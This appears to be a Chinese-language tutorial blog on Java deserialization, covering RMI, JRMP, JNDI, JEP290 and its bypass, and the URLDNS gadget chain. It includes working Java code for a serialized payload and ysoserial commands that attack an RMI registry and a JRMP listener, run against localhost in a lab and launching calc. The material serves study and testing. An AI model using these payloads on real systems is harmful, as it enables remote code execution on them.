  • 入口点Source+中间经过的类方法gadget+执行点Sink

RMI/JRMP/JNDI

RMI(Remote Method Invocation)

能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样

一台机器想要执行另一台机器上的java代码

例如:

        我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义

Server—>告诉注册中心Client—>根据名字和注册中心要端口

Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.

注册中心约定端口:1099

Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接:

  1. Client获取这个Name和对象的绑定关系
    • RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub)
    • Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象.
    • RemoteCall序列化RMI服务名称、Remote对象.
    • RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层.
    • RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)
    • Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化.
    • Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端.
  2. 再去连接Server并调用远程方法
    • RMI客户端反序列化服务端结果,获取远程对象的引用
    • RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
    • RMI客户端反序列化RMI远程方法调用结果

**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现

JRMP(Remote Method Protocol)

通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、

JNDI(Naming and Directory Interface)

Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.

而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来.

还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中

JJEP(JAVA Enhancement proposa)

JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290

  1. 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端
  2. 检测反序列化链的深度
  3. 在RMI过程中提供了调用对象提供了一个验证类的机制
  4. 过滤内容可被配置

JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)
二次反序列化思维导图:

URLDNS链

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.

HashMap

对于HashMap这个类来说,他重载了readObject函数,在重载的逻辑中,我们可以看到他重新计算了keyHash


跟进hash函数,我们可以看到,它调用了keyhashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS

URLDNS

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控


查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/*
* @Author: Kill3r
* @Date: 2022-10-03 19:11:15
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-05 10:25:36
* @Description: 请填写简介
*/

package serializable.urldns;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class Dnstest {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://v0qf5g.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
// 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
// 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里
// 所以需要修改hashCode值不为-1
fieldHashcode.set(url,1);
hashmap.put(url, 22);
// 反序列化之后还是需要让他发送请求,所以需要改回来
// 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求
fieldHashcode.set(url,-1);
Serializable(hashmap);
}

public static void Serializable(Object obj) throws Exception {
ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
InputStream.writeObject(obj);
InputStream.close();
}
}

总结

  1. 首先找到Sink:发起DNS请求的URL类hashCode方法
  2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法
  3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它
  4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

ysoserial使用

1
2
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe
  1. 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial

  2. 使用idea打开源码包

  3. 设置maven为国内源

  4. 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override

  5. settings.xml内容为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
     <?xml version="1.0" encoding="UTF-8"?>
    <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
    <mirrors>
    <!-- 阿里云仓库 -->
    <mirror>
    <id>alimaven</id>
    <mirrorOf>central</mirrorOf>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
    </mirror>


    <!-- 中央仓库1 -->
    <mirror>
    <id>repo1</id>
    <mirrorOf>central</mirrorOf>
    <name>Human Readable Name for this Mirror.</name>
    <url>http://repo1.maven.org/maven2/</url>
    </mirror>


    <!-- 中央仓库2 -->
    <mirror>
    <id>repo2</id>
    <mirrorOf>central</mirrorOf>
    <name>Human Readable Name for this Mirror.</name>
    <url>http://repo2.maven.org/maven2/</url>
    </mirror>
    </mirrors>

    </settings>
  6. 点击apply->OK

  7. 点击刷新按钮,等待下载依赖

  8. 点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在java: 程序包sun.rmi.transport不存在可以不用管

  9. 编译项目点击M命令行输入:mvn clean package -DskipTests

  10. 编译完成

环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip

URLDNS利用

  1. 打开前面写的Dnstest.java将代码中的dnslog换为自己的,然后序列化恶意数据
  2. 反序列化恶意数据,然后dnslog中会显示请求内容

RMIRegistryExploit利用

  1. 打开环境中的RMIServer.java右键运行
  2. 使用ysoserial攻击
    1
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"

JRMPClient利用

  1. 打开环境中的RMIServer.java右键运行
  2. 使用ysoserial攻击

JRMPListener利用

  • 生成反序列化数据

    1
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin
  • 启动JRMP

    1
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
  • 反序列化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    package com.chaitin;

    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;

    public class Unserialization {
    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
    Object obj = ois.readObject();
    return obj;
    }

    public static void main(String[] args) throws Exception{
    unserialize("jrmp.bin");
    }
    }